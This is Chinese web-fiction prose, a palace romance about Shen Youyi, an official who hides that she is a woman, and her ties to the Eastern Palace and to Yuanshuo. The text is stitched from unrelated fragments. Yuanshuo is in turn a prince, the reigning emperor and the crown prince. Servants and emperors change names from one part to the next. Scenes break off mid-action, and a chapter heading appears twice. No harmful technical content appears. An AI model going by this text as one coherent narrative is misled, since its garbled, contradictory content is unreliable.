她去看镜中的自己,乌发低垂,玉白的寝衣好生系着。 而梦中的女子,赫然是她无疑。至于那身上人…… 今日巳时要送去东宫的公文沈幼宜已整理完毕,她身兼太子中允之职,每一旬中有两三日要去东宫当差。 连日来都是好天气,东宫书房前,总管姚安笑着道:“殿下尚有政务忙碌,请沈大人先进去等一会儿。” 沈幼宜从侍从手中接过公文,颔首应好。 踏入书房中,她中规中矩先见了礼数:“臣给殿下请安,殿下万福。” 太子陆恒虽未抬首,语气却温和:“元乐来了,先坐吧。” “是,谢殿下。” 此地沈幼宜已来往多次,没有先前那般拘谨。 当今太子陆恒乃陛下与姚皇后的长子,文韬武略兼备,深得君父看重。他入朝参政多年几无差池,引朝臣们交口称赞,本是大晋朝无可挑剔的太子。 政务虽然出彩,然而储君一直在京中守成。他的这份沉稳平日里为人称道,但在眼下,尤其是在战功赫赫、荣耀还朝的昭王面前,多少显得有些不够看了。 同为中宫嫡子,有人道昭王殿下是输在长幼名分,才与太子之位失之交臂。 但也有人道,昭王殿下虽出身显赫,奈何生母甄皇后芳华早逝,如今执掌后宫、母仪天下的是姚皇后。 没了生母的皇子,在后宫中总是吃亏些。 况且姚皇后与陛下是少年夫妻,多年来情深意重。姚皇后膝下二子,长子封了太子,次子陆忱行六,封淮王。不消多提,太子与淮王一母同胞,同气连枝。 沈幼宜今日所禀并非要事,既无错漏,陆恒过目后便交由底下人施行。 他道:“瞧你脸色不好,可是身体抱恙?” 沈幼宜忙道:“有劳殿下关怀,臣无事,只是昨夜睡得晚了些。” 陆恒点一点头:“明日便是休沐,今日若无其他公事,你早些回府休息便是。” “多谢殿下。” 正巧东宫的管事来回禀宴饮安排,沈幼宜便顺势告退。 小内侍引她出府,东宫上下各司其职,井然有序。昭王凯旋,陛下在太极殿为他设宴接风,太子作为兄长也不能落了礼数。无论心中如何想,东宫二月十九的这一场小宴,要的便是兄友弟恭,彰显国之储君的气度。 一同宴请的朝臣虽不多,但沈幼宜身为太子中允,自然是要列席的。 她叹口气,三年未见,物是人非。她现在身处东宫麾下,与他久别重逢亦不知能说些什么。 如今更添了那几场难以启齿的梦境,她实在不想多与昭王碰面。 怀月小声提醒,望向门外。她记人极清楚,那日拦她们的武德司护卫,此刻正有一人乔装成百姓走过。 沈幼宜淡定喝一口胡辣汤:“知道了。” 她在老地方从从沈沈换了衣袍,有意叫武德司的人发现着常服的自己。 戌时三刻,沈幼宜到了宅邸正门外。 “臣恭送殿下。” 怀月撑开雨具,郎君迟迟未归,她还以为瑞王席上留人,一直等在此处。 小厮接过了沈幼宜手中两包点心,目送马车远去,她想起一事:“雨停后你遣人知会李叔一声,让他直接回来便成。” 怀月讶然:“李叔没有接到郎君吗?” “说来话长。” 沈幼宜感到困倦,不过回卧房沐浴完后,反倒精神起来,拉着怀月陪她说话。 怀月放下刚熬好的醒酒汤,万万没想到今夜会是太子殿下送郎君回来。 沈幼宜点点头:“太子……平日看着高不可攀,有时候还挺好说话的。” 郎君这般说,怀月就这般听着。 一弯新月悬于夜空,骤雨初停,凉风习习。 怀月瞧只喝了两口的醒酒汤,薄醉的人免不了多愁善感。 “我那时及第,初次踏入官场……” 无人在前引路,她又要隐瞒自己的女子身份,时时如履薄冰。 她初出茅庐,哪里晓得内阁与东宫的暗流涌动。 首辅赏识她的文章,有意将她划入户部自己门下,她一个七品官,只觉天上掉了馅饼,有什么回绝的余地。 大约就是半年后吧,太子代帝巡视河中还朝,接连办妥好几桩大案。陛下盛赞太子有昔年高宗的风范,百官提起储君,无不交口称赞。连老师在有心掣肘下,都只能寻出太子无伤大雅的疏漏。 或许陈府盛极而衰,从太子入朝参政后就再难挽回。 怀月絮絮听自家郎君念叨,偶尔见缝插针喂下一勺解酒汤。 浮云蔽月,前路未明。惠风和畅,百花争妍。御苑内,帝后二人相偕赏景。淮王陆忱陪在明德帝身侧,太子兄长忙于政事,他便时时入宫在双亲面前尽孝。他是姚皇后幼子,身上没有长兄那般重担,帝后对他的教导也一向宽容些。 明德帝爱屋及乌,陆忱在诸皇子中很是受宠。他又素来懂得讨父皇母后欢心,便是太子在也得逊色三分。 他一番话说得明德帝身心顺畅,又请父皇母后移步去看他新寻回来的牡丹名品。 “难为你有心。” 明德帝笑着看了一眼身旁的妻子,梓潼素爱牡丹,凤仪宫中也专门辟了苗圃栽种。 “陛下,”总管李暨通传道,“昭王殿下来向您请安。” 明德帝眸中笑意更甚:“让他过来。” 姚皇后则看了小儿子一眼,陆忱不情不愿换到母后身旁,将父皇身边的位置空出。 天气晴好,元朔帝今日入宫换了一身齐紫锦袍,束金冠,衣袍上以银线勾勒出祥云纹。 明德帝望着回廊下向自己走来的儿子,祈安离京时还没有及冠,自己总觉得他是个半大的孩子。如今一眨眼过去,祈安已是战功赫赫,扬名天下的大晋昭王。 明德帝笑着道:“这几个孩子里,祈安最像朕青年时的样子。”有时看到他,明德帝总不由想起自己年轻时征战四海的模样。 姚皇后含笑:“有么?臣妾记得陛下年轻时并没有这等俊逸。” 明德帝朗笑,声音中不免带了追忆:“祈安总归还像他母亲多些。” 姚皇后轻轻颔首,甄妹妹当年是名动京华的美人,祈安全然是挑了她与陛下的优处长的。 元朔帝见了礼数:“父皇万福,母后金安。” 祈安既来了,明德帝也不急着赏花,就近寻了处亭子品茗闲叙。 才在母后身畔坐定,淮王陆忱便道:“昭王兄今日难得入宫啊。” 他时时留意着这位五哥的动向,听闻昭王府中近日设立了文学馆,以待四方有识之士。他本就战功不浅,如今又广开言路招揽文臣,其用心不言而喻,直逼东宫。 偏偏父皇支持此举,是父皇金口玉言,允准昭王府自置官属。 昭王府中文臣现以韦范为首,当初太子兄长招揽他已久,他都无动于衷,原是早就投在了昭王门下。 陆忱心中暗恨,早知如此,当初兄长便该听了他的意思贬韦范出京,给那不知天高地厚的文官一个教训。 他面上仍旧带笑:“弟弟愚钝,听说昭王兄向太子兄长借了沈中允去。难不成文学馆内人才济济,还没有合皇兄心意的人选?” 对于母后看来的目光,陆忱只作不觉。 元朔帝淡淡一笑:“你若也想借人,直接向长兄开口便是。想来他不会拒绝的。” 陆忱一噎,他分明不是这个意思。太子兄长宽和,那日东宫宴席他若在场,必定不会让昭王如此任意妄为。 东宫的插曲明德帝自然知晓,但太子都没有多言,传出来也只是一桩兄友弟恭的美谈。 明德帝笑着看向元朔帝:“你倒是会选人。” 昭王府正在修葺,沈家那位小郎君身兼工部和东宫两处职务,往来确实方便。 帝王开口揭过此事,在母后已含了告诫的目光中,陆忱只能悻悻闭了嘴。 姚皇后换了话题,再过不久就是甄妹妹的生辰祭礼,祈安既然在,恰好问问他的意思。 元朔帝今日入宫也有此意:“儿臣想去皇陵祭拜。” 他三年未归京,明德帝答允道:“这也是应该的。” 他吩咐人传旨,诏命礼部提前安排。 “近来朝事清闲,何时动身、要带什么人你自己拿主意便是。” 姚皇后笑意温柔,元朔帝道:“儿臣多谢父皇,多谢母后。” 睡去前,沈幼宜如是想。 不出两日,户部散值后,谢明霁寻上了她。 顺隆衣铺的线索几乎中断,观谢明霁的神情,怕是无所收获。 沈幼宜白日里在户部累得很,此刻也没有兜弯子。谢明霁既然来求教,她道:“不知谢大人可查过铺中账目?” 顺隆衣铺明面上是沈幼宜接手,谢明霁回:“沈大人到何处都先查账的习惯,可真是半点没改。” 他命人取来一本誊抄的账目,沈幼宜圈出怡棠楼与另外两处。 御书房中归于宁静,只偶有笔墨划过纸页的轻响。 余下的精致点心元朔帝未动,不过再度翻开奏疏时,上头的墨字都显得顺眼些许。 批复完毕的奏案尽数发还,午后时辰尚早。 帝王起身,秦让道:“陛下,是回宫歇息,还是——” 銮驾已候在御书房外,秦让福至心灵:“去明琬宫。” 天空湛蓝如洗,万里无云。翌日晨起没有朝会,帝王要往内阁议事。 秦让为陛下更衣,眼见着陛下精神不济,似乎昨夜未得安眠。 彤史署不曾记录,寝殿风平浪静没有叫水,秦让亦不敢好奇。 昨晚宸妃娘娘乘一顶小轿来时,并未得陛下传召。他犹豫了一刹,凭着多年当差的直觉,到底未曾阻拦,由着娘娘进了陛下寝宫。 秦让不免犹疑,陛下今日晨起是难得的心绪不宁。 他请旨道:“陛下,若是娘娘晚间再求见,这是……” 默然片刻,元朔帝道:“由她罢。” “奴才领旨。” 沈幼宜在紫宸殿睡的这一晚极安稳,一夜无梦。 向菱向萍候在殿外,等候服侍娘娘更衣起身。 榻旁人早已不见踪影,晨起他离去时,亦没有扰醒她。 睡足了一觉的沈幼宜神清气爽:“什么时辰了?” “回娘娘,刚至巳时。” 沈幼宜点一点头,换上了送来的的烟紫色妆花缎锦裙,系了浅一色的锦带。 紫宸殿中也备了早膳,沈幼宜由向萍挽发时,恰好帝王自外朝归来。 二人便在偏殿一道用膳。今晨膳房特意备下的糖粥,丝丝甜味恰到好处,沈幼宜很是喜欢。 接连在紫宸殿借住了三个晚上,最害怕的那一阵过去,沈幼宜便歇在了明琬宫。 寝殿一角还留了一盏烛火,给主人一点慰藉。 “陛下。” 明月悬天,秦让送上一盏安神汤,宸妃娘娘今夜留宿于自己寝殿。 “下去吧。” “是。” 殿中归于宁静,龙榻一半再度空缺。帝王沉思半晌,忽而对自己有些无言。 分明……她是他昭告天下迎回来的宸妃;他们二人,本该是亲密的。 他何须如此患得患失。 才看完的话本不知何时被女郎顺了回去,帝王笑了笑,想起她依偎在自己身畔的睡颜,全然的信任与依赖。 或许……她留于自己身边,未必是全然顺于形势。 “陛下万福。” 明琬宫前,往来洒扫的宫人恭敬行礼。 元朔帝未命人通传,踏入殿宇时,侍女引了他往后殿。 回廊下,沈幼宜吩咐人搬了一张贵妃榻,此刻正安睡着。 她身上盖了杏黄色如意花纹的锦毯,墨发散落大半在旁,睡颜恬静。 阳光星星点点洒落,沈幼宜手旁搁了一本书。 元朔帝略略翻过,只是寻常的坊间小说。她未读完,还特意用了枚金叶子作书签。 小案上照例摆着几盏糕点,桃花酥占据了一角。元朔帝不得不承认,她似乎精心选了块最好看的糕点给他。 和煦的春风轻拂,枝头杏花微微颤动。 沈幼宜这一觉睡得舒心,醒来挽发之时,向菱道:“娘娘,午后陛下来过。” 因娘娘睡着,陛下未曾多留。 虽有些可惜,但陛下今日来看娘娘已是件好事。 “嗯。晚膳备了什么?” 向菱笑道:“有娘娘昨日提的五味杏酪鹅,还有光明虾炙与玉露团。余下的都是膳房自行安排。” “甚好。”沈幼宜满意点头,接着翻开了一册书。 熙和帝在数十仆从簇拥之中驾临,三呼万岁之声回荡在苑中。 “众卿平身。” 帝王声音温和,待得在上首尊位落座,众人方回原位。 沈幼宜的席位靠偏靠后,虽不见上首尊位情形,但也依稀知晓陛下龙体欠安。 自元和三十年以来,陛下一直缠绵于病榻,对朝政多数时候有心无力。 今夜也是因朝廷新科取士,陛下欢喜,故而撑着病体前来。 “开宴。” 宫人们捧着珍馐鱼贯而入,井然有序,分毫不乱。 沈幼宜舀了一匙汤羹,不同于新科士子们的兴奋拘谨,她倒是一心一意应对着面前的佳肴,毕竟晚些时分还有得应酬忙碌。 琼林盛宴,几年也就赶上一回。 才吃了两筷子樱桃肉,酉时未过,陛下即摆驾回宫。 沈幼宜随众起身,帝王下至首辅席位时,还同首辅笑语了两句。 得见天颜,纵前后不过两刻钟,还是让新科进士们倍沐皇恩。 酉时尚未过,陛下即回宫休养,吩咐宾客无需拘束。 待帝王离去,不多时首辅亦离席,琼林苑中光景自在许多。 今夜盛宴本就是庆贺朝廷取士之用,陛下的旨意在前,席间很快热闹起来。 丝竹弦乐声不断,皆挑了欢快悠扬的曲子来奏,一如新科的士子般意气飞扬。 沈幼宜满饮了杯中酒,对面来敬的士子亦然。 盛宴不能无酒,沈幼宜已数不清自己饮了几杯。 方与户部的同僚一处敬过尚书大人,又周旋过左右侍郎席上。 一圈转下来,酒饮了不少,客套话亦说了不少。 接着,便有意在进入户部的士子源源不断来敬。 一轮又一轮,每每这种宴席,沈幼宜早便发觉同席的宾客格外爱敬自己。 也是,位高者的酒她推拒不得,否则便是不识抬举,平白得罪贵人;位卑者的酒亦不能辞,此为目中无人,拒人于千里之外。 她身后无家族支撑,任何人都不宜得罪,不可行差踏错。 “在下敬沈大人一杯。” 沈幼宜举杯相和,外人望去,那如画的沈颜染上一层绯色,不得不言实在赏心悦目。 脑中已有了几分醉意,沈幼宜饮过此杯,望宴上皆是推杯换盏,觥筹交错。 此情此景,若是她不饮,便是待人不诚。 能安坐席上者,少说也是二品大员。 这样的官场,她起初不够适应,渐渐也就随波逐流,酒量多多少少练出了些。 琼林宴上备着数种宫廷佳酿,一坛坛送至席上,这一坛新开的酒有些烈。 还未休息过片刻,望自己手中再度被斟满的酒盏,沈幼宜心下微不可察叹了口气。 无处藏身,她思忖着应对之道,否则今夜恐怕要大醉归府。 酒醉还在其次,若是露了什么破绽…… 席上围了不少人,趁人不备倒酒有些艰难。 又被劝着饮了两盅酒,沈幼宜推辞不得,只能由着户部的一位同僚为她斟酒。 “长瑾贤弟,请。” 一同陪饮的还有三五士子,敬来的酒盏低于沈幼宜,以示上下尊卑。 沈幼宜举杯欲饮的当口,忽有一小宦官上前,暂扰了酒局。 众人观其衣制,认得是东宫近侍,自然无比客气。 “各位大人安好。”小宦官转向沈幼宜,“传太子殿下口谕,请沈大人戌时一刻至云蔚亭,面禀宣德府相干事宜。” 虽饮了不少酒,沈幼宜反应尚在:“下官领旨。” 小宦官未多停留,传完谕令旋即回去复命。 众士子眼观鼻鼻观心,早便听闻太子殿下参政以来,夙兴夜寐,不想连今夜都未曾懈怠。 沈幼宜的笑沈真心实意:“对不住,恐于殿下面前失仪,怕是不能再饮了。” 她稍稍借了太子的势,为显诚意,沈幼宜尽数饮了杯中残酒,将酒盏倒倾。 如此,当然无人再有微词。 酒宴照旧,沈幼宜得了清静,寻隙用些点心,先行离席。 琼林宴上的热闹喧嚣渐渐远去,此处皇家别苑她来过两三回,回回皆是不同心境。 风吹皱一池春水,沈幼宜倚在玉栏旁吹风醒酒。 回望席上,如今新登科的士子们意气风发。不知官场浸润三年,会变作何模样。 清风拂面,沈幼宜脑中昏沉散去些。 夜幕中繁星点点,于皓月旁难免黯淡。 沈幼宜估算着时辰,打起精神应对。 云蔚亭在苑中高处,她拾级而上,遥遥便见东宫总管秦让候在亭外。 “沈大人稍候,奴才这便去通传。” “有劳。” 沈幼宜立了片刻,自高处俯视,琼林宴上情形尽览于眼底,时有雅乐声随风送至亭外。 “沈大人请。” “回姑娘,未时。” 沈幼宜“嗯”一声,由侍女们鱼贯而入,为她沐浴更衣。 为首的两名侍女与她年岁相仿,其中一人唤作向菱,另一位脸颊圆润些的唤作向萍,都是极聪慧能干的女郎。宫中选来的人,她也没什么可挑剔的。 沈幼宜坐于铜镜前,向菱仔细为她擦拭着墨发。又用茉莉香膏,以象牙梳悉心梳通发梢。 接着净面,上妆,修饰眉形。向萍梳妆的手艺极好,梳妆台上临时备了两匣首饰,已然琳琅满目。 沈幼宜只望那镜中人慢慢变得陌生,眼波流转间,又有了一分熟悉之感。 向萍为姑娘簪上白玉玲珑步摇,点缀几支卿云梅花长簪。 国丧三月虽过,但宫中装扮仍是偏向素净。 向萍只用了三分功夫,不免有些遗憾。姑娘倾城之姿,若是精心盛装,不知该是何等摄人心魄,明艳不可方物。 她意犹未尽收了妆匣,不过姑娘眼下这般,清清淡淡的就已是极美,无怪乎能入陛下的眼。 “奴婢等告退。” 窗边,难得的一缕阳光艰难透出层云。沈幼宜尚不知自己身处何处,昨夜马车上,帝王未开口,她亦没有问及。 重重宫门,她现下总在后宫一处殿宇。 其实宫廷亦有女官,掌管后妃庶务。沈幼宜自信能够胜任,但显然帝王并无此心。 虽说离了刑部天牢,但她平日依旧不能出这间宫舍。若说二者无甚分别,沈幼宜自嘲地想,总归金囚笼比木囚笼价贵。 她有时与向菱、向萍交谈,多少知道些宫中俗事。譬如太后娘娘因先帝崩逝伤心过度,在操持完丧仪后,为免触景生情,不日就要迁去颐安行宫小住。 “那儿有一处温泉,先帝在时重新修整过宫室。” “听闻那处花开得早,种了许多太后娘娘喜爱的牡丹。陛下已下令好生布置行宫居所,务必要让太后娘娘住得舒心。” 至于外朝政事,向菱和向萍便一片茫然了。 沈幼宜没有问起过帝王,想也知道他必定政事缠身。单科举舞弊一案,不知朝中会彻查到何等地步。 殿内备了不少聊供解闷的闲书,沈幼宜读了几日话本,可耻地想念起户部枯燥的公文来。 她已经习惯那样的日子;时至今日,又要被迫更换了。 小案上摆着膳房新做的牛乳糕,按了沈幼宜口味添了蜂蜜,香甜可口。 她有时一气能吃半碟,连带着误了晚膳。 “姑娘在笑什么?”向萍才吩咐小丫鬟添些香料,好奇着开口。 这几日侍奉下来,她们知道姑娘是个极好相与的性子,有时还愿给她们讲讲诗词歌赋,志趣故事。 她就这么坐在窗下,阳光落在她发间,美得不似凡间人。 这样的女郎,很难不让人心生好感。昭王投壶的技艺准得让人不可思议,那时有人笑言,有昭王殿下在,他们争一争第二也就罢了。偏偏淮王年少时惯爱与自己这位五哥较劲,每逢宫中宴饮雅集,有机会总要挑衅比试一番,当然没有一回赢过。 没有什么人愿意在投壶时遇见昭王,除了少时的沈幼宜。 宴饮人多时,投壶可以两人或是多人组成一队。沈幼宜每每都与昭王搭在一处,他从不会拒绝。沈幼宜投壶技艺尚可,借着昭王的东风,只要稳稳投中几支,总能轻松赢下各种彩头,譬如玉佩,譬如金银锞子,她书房的匣子内到现在还攒着不少。 有一回赶上陛下寿辰,宫廷备的彩头格外丰厚,她与昭王各得了一只新铸的金锭,去陛下面前谢了恩。 那会儿年少气盛,总是爱玩爱热闹的。 沈幼宜将金锭好生攒了一阵,加上之前省下的月银,给母亲换了一对水头极好的碧玉手镯。 母亲很喜欢这对镯子,起初一直舍不得戴。沈家后宅两位夫人并立,沈夫人出身伯爵府,陪嫁丰厚,又执掌中馈。而母亲只有公中的用度,仆妇们私下里惯爱议论比较。母亲性子素来温和,闻言只会对她感到愧疚,觉得是因为自己出身的原因让她在长姐和三弟面前矮了一截。 但沈幼宜从不认为有什么;她想自己给母亲添一份嫁妆,添一份底气。 母亲收到镯子那日,她眸中的惊喜与欣慰,沈幼宜至今仍然记得。 往事美好,沈幼宜唇畔不自觉带了些笑意。 她在湖畔寻了块石头坐下,稍加休息。顺着湖面望去,对岸的柳树好像又高了一些。柳枝迎风而动,漾开一树碧色。 她想起从前射柳,疾驰的马背上无人能胜过昭王。 池水轻荡,沈幼宜以手支颐。要将这里扩建,还是得多花些心思。 碧叶轻落于湖面,带起点点涟漪。 凝神思索许久,沈幼宜起身。原本想去校场看看,不过才到校场外,便听得里间习射的动静。她略略问了校场外的侍从,才知道有几位将军在场上比试。 沈幼宜预备改日再来,只是才折返几步,便在半道撞见了昭王殿下。 她赶忙见礼:“殿下万福。” “免了。” 元朔帝自然是要去校场,北地今日新送了十几张弓箭来。他午后议事不得闲暇,便让好友们自行挑选。 沈幼宜思忖着是否要解释一二,她在此地并没有替东宫窥探消息的意思。但又怕话出口,反而显得欲盖弥彰。 元朔帝却知道她原本的来意,只道:“去看看吧。” “是,多谢殿下。”元朔帝忘了松手,沈幼宜一时也愣愣地由他握着。 他的掌心温热,自给人安心的力量。 干戈止歇,风中弥漫着浓郁的血腥味。 暗卫过来处置五名刺客的尸首,沈幼宜被那动静惊得回神,忙抽回手,一礼道:“多谢殿下相救。” “不必。”元朔帝看他仍是惊魂未定的模样,示意他随自己先行离开,“走吧,这里非久留之地。” 是他将元乐带出京的,当然要护好他。 沈幼宜默默点头,跟在昭王身旁,又不由自主靠近了他半步。 暗卫在查看尸体,有三人当场毙命,另外两人还有些微弱气息。 四支长箭皆穿在要害处,钉入土中。 谢谦正收整战局,这场行刺来得毫无预兆。此处离京畿不足二百里,谁能想到会出现大批身手不俗的刺客。 他忙里抽闲迎上来,对沈幼宜关切道:“没事吧?” 沈幼宜摇头,魂不守舍的模样。谢谦颇能理解,元乐是文臣,又自幼长于京都侯府,骤然见到这等凶险景象,有几人能不害怕? 方才与刺客的交手中,有两名暗卫受了轻伤,所幸并无大碍。此番跟着殿下的亲卫虽少,但都是能以一当十的精锐,在战场上练就的反应也非寻常护卫可比。 除此之外,还有一架马车不见踪影,沈幼宜的行囊皆在其中。刺客来时惊了马匹,带着马车一路向东奔去。 沈府跟着的两位小厮没有被波及,唯有吟月不见了踪影,想来她当时应该就在马车上。 元朔帝道:“不必担忧,当时便有暗卫追上。附近皆是平原,没有山路,应当很快就能寻回。” 他已吩咐人取来自己的一套衣衫,对沈幼宜道:“先将身上的衣裳换了罢。” 沈幼宜低头看自己沾了大片血污的衣衫,红与青交织分外刺目。她犹豫片刻后没有拒绝,低声道:“多谢殿下。” 她去了不远处昭王殿下的马车上更衣,合上马车门后,外间嘈杂的声音减弱些许。 马车内很是宽敞,沈幼宜宽下外袍,这才发现自己的中衣上也印了血迹。 束胸倒是无碍,沈幼宜将换下的衣物置于一旁,很快套上了新的中衣。很不合身,袖口和裤脚处都长了一大截,只能仔细卷起。 玉白的外袍穿在她身上几乎要拖地,还好她的鞋子高,勉强能撑起这身衣服。 沈幼宜的身量在女子中算作高挑,但在男子中难免有些不足。所以母亲带着嬷嬷为她缝了这种特制的靴子,穿上立刻便能高出近两寸,外人也看不出端倪。 沈幼宜悉心整理过衣物,踩下马车时仍有几分脱力之感。 元朔帝递了水囊给他,谢谦瞧同一套衣衫,穿在沈大人身上有截然不同之感。 今日之事也是他们大意,原本以为在京郊不会有这等危险。 刺客来势汹汹,单看他们招数,很难判断出自何方。毕竟昭王殿下的手下败将太多,谁知道是哪方来寻仇。 他们在战场上击败的都是一代枭雄,多少有些忠心的旧部。 在沈幼宜面前,许多话谢谦都没有往下再提。 他去提审刺客,树下便只剩了沈幼宜与昭王。 微风吹动玉白的袖摆,换了昭王的衣衫,沾染上他的气息,沈幼宜有些不自在。 虽说梦境里她也套过眼前人的寝衣,但毕竟……毕竟与现实中还是不一样的。 她渐渐有了劫后余生的实感,找回了自己的声音。 “殿下。” “怎么了?” 沈幼宜本想再度道谢,又觉冗余,也太过轻描淡写。 想了想,她先抛出另一个困惑的问题:“殿下,若臣下次再遇见这等情形,该往哪里跑合适呢?” 不是每一回都能如此幸运,得人及时相救。她跑对了方向,总能多争取些时间。 还有,若刺客没有发现她,是不是她找个地方躲藏起来更好? 小心翼翼求教的模样,元朔帝顿了许久。 他道:“不会有下次了。” 至少这种由他带来的危险,不会再有了。 昭王开口,沈幼宜就这么硬着头皮随他入内。 “我啊,”沈幼宜翻过一页话本,笑着道:“只是想起曾经许的一个愿罢了。” 泼天的荣华富贵,还有从朝堂全身而退。 原来佛祖就是这般实现人的愿望的。 皇帝是天命所归之人,君父哪有错的道理,其实朝廷已经为他们翻案,发还了家产,臣子就已经十分感恩戴德,沈氏也不敢生出什么怨恨来,柏氏自己几乎以为这是因为她的女儿重新得宠的缘故。 沈幼宜捂着耳朵听了一会儿,竟觉得说这话的简直是另外一个人。 她没有被不知名的鬼魂夺舍,元朔帝倒有这种可能。 她生出些许多不安,当时的她既不曾花言巧语地哀求,也没有一句留给他的话,那个人到底要做些什么呢? “虽然宫中说你与皇后娘娘至翠微宫散心,可何夫人却说你被陛下赐了自尽,我们哪里敢提‘太子’两个字,反倒是陛下说起太子私换女囚的事,问我如今可有良籍。” 柏氏原本想起这些事情还觉得有些奇怪,她猜女儿或许并未离世,战战兢兢在皇帝面前用过一餐饭,见圣上心情似乎不算很坏,才小心翼翼为自己的女儿请罪,希望天子能宽宥贵妃欺瞒的罪过,可那位富有四海的君王却忽而一笑,在那燃起千盏明灯的殿宇中,颇见几分寂寥之意。 “当年她寄人篱下,自然身不由己,朕还不至于为此降罪。” 天子望着那两张与她颇有几分相似的苍老面庞,怔忡片刻,声音低了下去:“她托体于朕,原也为此,朕虽不大放心,却也不愿意教她为难。” 柏氏想不到,有朝一日,她与夫君会竖起耳朵,听决定他们生死的君王轻描淡写地了结这一桩震动都城的风流艳闻,而后转述给她死而复生的女儿:“日后的事情,那便都随她去罢。” 第 59 章 第 59 章 沈幼宜低垂着头,过了好一会儿柏氏才轻轻叫了一声“宜娘”。青翠的竹叶顺着微风缓缓落下,长剑婉转又锋利,寒光迫人。 沈幼宜停下脚步,站在不远处欣赏了一会元朔帝舞剑。 没想到元朔帝看起来这么严肃冰冷的一个人,舞起剑来招式却这么花哨蹁跹,这剑招更像是鲜衣怒马的五陵少年能使出来的。 可能她见惯了元朔帝古板正经的样子,已经忘了他是她的同龄人,不过才弱冠出头而已,也是风华正茂的年纪。 疏离冰冷、拒人千里之外或许是元朔帝给自己的外衣,他身为储君,生来尊贵,但也从来身不由己,高处不胜寒,他定然孤独傲然,那么这样一个人,他最想要的是什么呢? 沈幼宜站在石桌旁,将手中食盒放在桌子上,盯着元朔帝看了会,眉眼咋然一亮。 或许,她该换个表演方式了,想点别的办法走近他。 从沈幼宜走近竹林,元朔帝就知道她进来了,但他沉浸在手中长剑上,没有理她,直到剑招完毕,元朔帝才收了长剑往沈幼宜那边看一眼。 鲜少看见她这样安静,在一边等着不说话的样子,乍一看去,竟有种气质淡然,沉静如水的感觉,她似乎在想什么事情,眼睛虽然看着他这边,但目中无神,不知道在琢磨什么鬼主意。 不过一瞬,沈幼宜就发现元朔帝在看她,她立马笑了起来,小步跑过去,递上擦汗的帕子,殷勤道:“殿下擦汗。” 元朔帝觉得刚刚是自己看错了,谄媚才是沈幼宜脸上应该出现的神色,那种淡然超脱的气质定是他眼花。 他没接沈幼宜的手里的帕子,走到石桌前坐下,刚要拿起茶壶给自己倒茶,结果沈幼宜又跟过来,笑着抢过他手里的茶壶,“殿下请用。” 元朔帝抬眸看她,沉声问:“沈氏,孤说过,你安分待在海棠阁里,无事不要出门,怎么,你现在这是连孤的话都放在眼里了?” “没!妾身不敢。”沈幼宜满脸娇羞,一双眼睛水盈盈地看着元朔帝,“这、这也是皇后娘娘的意思啊,檀青姑姑今日清早来给妾身送东西,说了好些话呢。” 沈幼宜往元朔帝身侧靠近了一点,手指轻轻拽着他的衣袖,撒娇道:“皇后娘娘想要孙女呢,檀青姑姑都过来暗示了,那妾身自然不能让皇后娘娘失望,立马过来讨殿下欢心了,我知道殿下不喜欢妾身,所以只好亲自做了点心过来,请殿下品尝,希望殿下能对妾身改观一点” 元朔帝蹙眉,偏头看向别处,不去看沈幼宜的眼睛,一边喝茶一边冷声回,“鸿儿和清儿是怎么怀上的,你自己心里有数,孤没杀你,你该庆幸,若是还敢贪图别的什么,那就是痴心妄想,你可知道心比天高,命比纸薄这句话的意思。” 看在孩子的面子上,他不想计较之前的事情,希望沈幼宜不要不识相,让他对她彻底失去耐心。 沈幼宜退后一步,微低着头,小声道:“妾身只是心悦殿下罢了,只是因为真心爱着殿下,所以才会愿意诞下子嗣,长长久久地陪伴在殿下身边,荣华富贵谁人不贪,妾身当然喜欢,但若不是因为喜欢,我何必再来您面前碍眼呢。 毕竟妾身已经有鸿儿和清儿了,就算没有殿下的宠爱,也能荣华一生不是么?阿宜是真的喜欢殿下,难道情不自禁的喜欢和仰慕,也是错吗?” 她说着说着,语气里有了一点破碎的哭声,抬头看元朔帝时,双眼水润含泪,目中传情。 元朔帝端着茶盏不说话,也不看沈幼宜的脸,骨节分明的手指摩挲着杯壁,垂眸盯着石桌上的点心。 喜欢?她知道什么是喜欢,什么是爱,恐怕她喜欢的是太子这个身份吧。 元朔帝不信她,也没空去猜沈幼宜心里是怎么想的,提着手里的长剑,缓缓往竹林外面走。 “殿下等等妾身,让妾身在您身边伺候笔墨吧,妾身已经学会研墨了!”沈幼宜立马追上去,跟在元朔帝身侧念叨,“殿下是要回怀德院吗,求求您了,让妾身一起去吧,我保证就跟在身边伺候笔墨,不多嘴不多事。” “孤不想看见你。”见太子殿下走近,沈幼宜身边伺候的几个宫人都绷紧了身体,面色紧张。 沈幼宜跪在地上垂着眉眼,咋一看是在反思,仔细看去就能发现她是在打瞌睡,要不是身边的玉宁怼了一下她的胳膊,她估计还在昏昏欲睡呢。 “殿、殿下?”沈幼宜眼中有短暂的朦胧,但很快就反应过来,连忙站起来想要去拉元朔帝的衣袖。 但她跪了太久,双腿都麻木了,还没站起来就摔了下去。 元朔帝没想到女人真真切切跪了这么久不耍滑头,他不紧不慢地抓住了沈幼宜的手腕,帮她稳住身体。 沈幼宜一双眼睛水蒙蒙地看着元朔帝,委屈又做作地张口,“殿下~妾身、妾身给您丢脸了,是我自己做错了事情,不关闵侧妃姐姐的事,殿下不要怪罪别人。” “可是妾身想时时刻刻看着殿下,一刻不见,如隔三秋啊。” 竹林外,海棠阁的婢女们见太子和自家娘娘一起出来,纷纷止住了想要上前问安的心思,大家面面相觑,最终默默跟在两位主子后面,一起去了怀德院。 沈幼宜就这样靠着她厚脸皮的功夫,混进了怀德院里。 眼看着元朔帝进了书房,沈幼宜眼睛一转,立马端着点心走了进去,自觉地跪在茶案边煮茶。 元朔帝坐在书案后面看书册,看上去应该不是朝堂上的文书,更像是不入流的民间杂记。 沈幼宜眼睛浅浅扫了一圈,没敢多看书案上的东西,以免被元朔帝察觉出异常,茶水煮好后,她就打着扇子站在书案边给元朔帝扇风,简直比怀德院里的侍女还要勤快,生怕元朔帝觉得她没用撵她出去。 不过好在元朔帝沉浸在书本里,没有开口撵人。 不一会,福案进来通报,“启禀殿下,江大人在外求见。” 福案口中的江大人是皇后娘娘家中的侄子,名叫江恒之,是永安侯江家的嫡长子,现任五品中护将军,负责看管皇陵建造的一切事宜。 “传膳吧,让他一起进来用膳。” 沈幼宜跟在元朔帝身后,见他没说让她回去的话,就眼疾手快地站在圆桌前为元朔帝布菜。 “臣江恒之,参见太子殿下。”江恒之跪地行礼,他面容冷酷坚毅,却生了一双风流的桃花眼,身上穿着玄色常服,气势锋利,如一柄刚刚开刃的神兵利器。 